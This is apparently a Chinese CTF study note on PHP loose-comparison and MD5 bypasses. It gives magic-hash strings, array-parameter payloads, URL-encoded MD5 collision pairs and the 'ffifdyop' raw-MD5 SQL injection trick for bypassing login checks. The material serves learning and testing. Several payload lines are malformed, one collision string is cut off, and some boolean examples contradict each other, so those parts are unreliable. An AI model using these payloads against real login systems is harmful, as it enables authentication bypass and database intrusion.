强比较:使用三个 ''==='' 比较,比较值,也比较类型
弱比较:使用两个 ''=='' 比较,只比较值,不比较类型
相关口诀
数组绕过,0e绕过
QNKCDZO 240610708 常用
md5($a)==md5(md5($a))
0e215962017
MD5加密登录万能通用
ffifdyop
转换规则:
1.字符型和字符型比较,为同类型,比较其内容,例''123abc''==''123'' => false
2.数字型和数字型比较,同上,例:123 == 12 => false
123 ==123=> true
3.字符型和数字型比较,若字符型值开头为数字,转为数字;
若开头不为数字,为 null 弱比较与 0 相等。
例:''abc123''==123 => false
"123abc"==123 => true
''abc123''==0 => true
''123''==123 => true
''123abc''==12 => false
[1]字符型和数值型的弱比较
比较原理:
先看字符串开头是否为数字
如果为数字,则截止到连续数字的最后一个数字,即"123abc456"
=>123
如果不为数字,则判断为false,即"abc123456"
=>0
实例:
("123abc"==123) => true
("123"==123) => true
("123abc"=="123") => false
("abc123"==0) => true
相关wp:PHP的var_dump(‘1‘==‘1e0‘)的结果为true_php 判断var_dump返回为真是_思维小刀的博客-CSDN博客
[2]字符型和字符型的比较
字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在
实例:
("0e123456"=="0e345") => true
("0e12adfc"=="0e345") => false
[3] 布尔型和任意值的比较
布尔值true和任意字符串和数值都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的
实例:
(true==''false'') => false
(0==''false'') => true
(true==0) => false
(true==''abc'') =>false
(true==''123abc'') =>true
科学记数法是一种记数的方法。
计算器表达10的幂一般是用E或e
如:2 760 000 = 2.76×10^6 = 2.76e6
所以0e,无论后面跟什么值,都是0
密文 原值
QNKCDZO 0E830400451993494058024219903391
240610708 0E462097431906509019562988736854
s878926199a 0E545993274517709034328855841020
s155964671a 0E342768416822451524974117254469
s214587387a 0E848240448830537924465865611904
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)==md5($b)
payload:?a=QNKCDZO&b=240610708
$a=$_GET['a'];
$a==md5($a);
payload:?md5('0E830400451993494058024219903391')=0E462097431906509019562988736854
$a=$_GET['a'];
$a==md5($a);
payload:?md5(md5(0E830400451993494058024219903391))=0E545993274517709034328855841020
相关详细的md5值为0e开头的见链接:
常见的MD5碰撞:md5值为0e开头_烟雨天青色的博客-CSDN博客
md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null
比如传入md5(a[]=1)==md5(b[]=2),实际上是null==null,所以数组进行md5弱比较时,结果相等
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)==md5($b)
payload:?a[]=1&b[]=2
相关php在浏览器执行的文章链接:php怎么在浏览器运行-php教程-PHP中文网
或者用idea打开php下的www目录,后执行
<1>md5值完全相同的字符绕过
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)===md5($b)
payload:?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%
<2>数组绕过
payload:?a[]=1&b[]=2
万能通式:129581926211651571912466741651878684928和ffifdyop
实例:
select * from 'admin' where password=md5($pass,true)
输入md5('ffifdyop',true)绕过
即
select * from 'admin' where password=md5('ffifdyop',true)
md5(string,raw)
绕过原理:
ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
where password=正确的密码or 1 ,代表永真,那么前面有没有密码都无所谓了
简单说,
select * from admin where password=''or'6<乱码>'
就相当于
select * from admin where password=''or 1 实现sql注入
当两个条件中有任一个条件满足,“逻辑或”的运算结果就为“真”
逻辑与”相当于生活中说的“并且”,就是两个条件都同时成立的情况下“逻辑与”的运算结果才为“真”。
相关文章链接:
https://blog.csdn.net/weixin_45349299/article/details/127983551
求&&逻辑与 ||逻辑或 !逻辑非 如何判断真假_百度知道